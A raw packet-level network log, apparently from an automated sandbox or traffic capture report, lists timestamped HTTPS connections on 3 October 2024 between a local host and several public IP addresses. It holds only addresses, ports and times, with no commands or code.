Oct 3, 2024 10:41:38.337996960 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414239883 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414263010 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414287090 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414299965 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414323092 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.414339066 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414372921 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.414372921 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.414381027 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414520979 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.414563894 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.416626930 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.416640997 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.418477058 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.418528080 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.418555975 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.418565035 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.418596983 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.423329115 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.423429012 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.423517942 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.423748016 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.423775911 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.426863909 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:38.426901102 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:38.426964045 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:38.427651882 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:38.427665949 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:38.431013107 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.431231976 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.431246042 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.431653976 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.431932926 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.432019949 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.432060957 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.434037924 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.434227943 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.434242010 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.435328960 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.435621023 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.436075926 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.436093092 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.443212986 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.443320036 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.443526983 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.445250988 CEST	49899	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:38.445266962 CEST	443	49899	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.475403070 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.479408979 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.503684044 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.503741026 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.503756046 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.503782034 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.503808975 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.504492044 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.504543066 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.504550934 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.504570007 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.504589081 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.504597902 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.504617929 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.506485939 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.506551981 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.506571054 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.506588936 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.506748915 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.506778955 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.506807089 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.513605118 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.513629913 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.531831980 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.531862020 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.531866074 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.532100916 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.547930002 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.653572083 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.677016973 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.677032948 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.678240061 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.678294897 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.686816931 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.686920881 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.687038898 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.687050104 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.734314919 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:38.872705936 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.872778893 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.872837067 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.872852087 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.872879028 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.873007059 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.880501032 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.880589962 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:38.880659103 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:38.885747910 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:38.888915062 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.909116983 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:38.997479916 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.997556925 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.997570992 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:38.997629881 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:38.998037100 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:38.998332977 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:39.019750118 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:39.019774914 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:39.020369053 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:39.021387100 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.021409035 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.022373915 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.022404909 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.022819042 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.023112059 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.024056911 CEST	49905	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:39.024077892 CEST	443	49905	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:39.026576042 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:39.026705027 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:39.027257919 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.027517080 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.027533054 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.027631998 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.028546095 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:39.028561115 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.028609037 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.034878969 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.035415888 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.035537004 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.064831018 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.064872026 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.064927101 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.065612078 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.065629959 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.065821886 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.065867901 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.065879107 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.066579103 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.066591978 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.069905043 CEST	49896	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.069917917 CEST	443	49896	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.071398973 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:39.071417093 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.071422100 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.071810007 CEST	49900	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.071835995 CEST	443	49900	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.072146893 CEST	49898	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.072161913 CEST	443	49898	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.087516069 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.087534904 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.087676048 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.091408968 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.091417074 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.097316980 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.103408098 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.103439093 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.103636026 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.103935957 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.103950024 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109544992 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109555006 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109585047 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109596014 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109606981 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.109608889 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109625101 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109643936 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.109648943 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109668016 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.109850883 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109925985 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.109926939 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.110229969 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.110796928 CEST	49904	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.110809088 CEST	443	49904	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.113110065 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.113138914 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.113400936 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.113655090 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.113667011 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.144217968 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.145543098 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.145555973 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.146047115 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.147766113 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.155144930 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.155162096 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.155572891 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.156027079 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.156137943 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.156339884 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.156447887 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.156455994 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.156539917 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.203404903 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.203407049 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.212363958 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.212447882 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.212518930 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.213561058 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.213674068 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.213826895 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.217097044 CEST	49908	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.217120886 CEST	443	49908	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.217897892 CEST	49910	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.217916965 CEST	443	49910	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.302759886 CEST	49907	443	192.168.2.4	107.178.240.89
Oct 3, 2024 10:41:39.302822113 CEST	443	49907	107.178.240.89	192.168.2.4
Oct 3, 2024 10:41:39.303493977 CEST	49921	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.303536892 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.303777933 CEST	49921	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.304004908 CEST	49921	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.304035902 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.307862043 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:39.307940006 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:39.308170080 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:39.311300993 CEST	49909	443	192.168.2.4	3.127.178.105
Oct 3, 2024 10:41:39.311326981 CEST	443	49909	3.127.178.105	192.168.2.4
Oct 3, 2024 10:41:39.316945076 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.316986084 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.317044973 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.317296028 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.317322969 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.322588921 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:39.322618008 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:39.323203087 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:39.323375940 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:39.323393106 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:39.337644100 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.337688923 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.337908030 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.338140965 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.338159084 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.340187073 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.340214968 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.340317011 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.340526104 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.340538979 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.342372894 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.342382908 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.342434883 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.342672110 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.342684984 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.343841076 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.343868017 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.344134092 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.344459057 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.344482899 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.345980883 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.346024036 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.346118927 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.346282959 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.346299887 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.418792963 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.418849945 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.419003963 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.419038057 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.419400930 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.419801950 CEST	49913	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.419819117 CEST	443	49913	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.688395023 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.688705921 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.688735008 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.689081907 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.689385891 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.689461946 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.689536095 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.731409073 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.797743082 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.798036098 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.798095942 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.798110962 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.798794985 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.798841000 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.799036026 CEST	443	49912	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.799092054 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.799108028 CEST	49912	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.802778959 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.802822113 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.803299904 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.803622007 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.803678989 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.803694010 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.803829908 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.803864956 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.804394007 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.806143045 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.806250095 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.806355000 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.812938929 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.813616991 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.813630104 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.813966990 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.814532042 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.814596891 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.814627886 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.827018976 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.831258059 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.831278086 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.832405090 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.832479000 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.833146095 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.833213091 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.833334923 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.833347082 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.833898067 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.834089994 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.834171057 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.837760925 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.837831974 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.838211060 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.838330030 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.838335991 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.838347912 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.843744040 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.843780041 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.843847990 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.844032049 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:39.844046116 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:39.851407051 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.855417013 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.926875114 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.927280903 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.927289009 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.927839041 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.928467035 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.928555012 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.928710938 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.944375038 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.944602966 CEST	49921	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.944619894 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.944981098 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.945858002 CEST	49921	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:39.945925951 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.946151018 CEST	49921	443	192.168.2.4	46.137.24.228
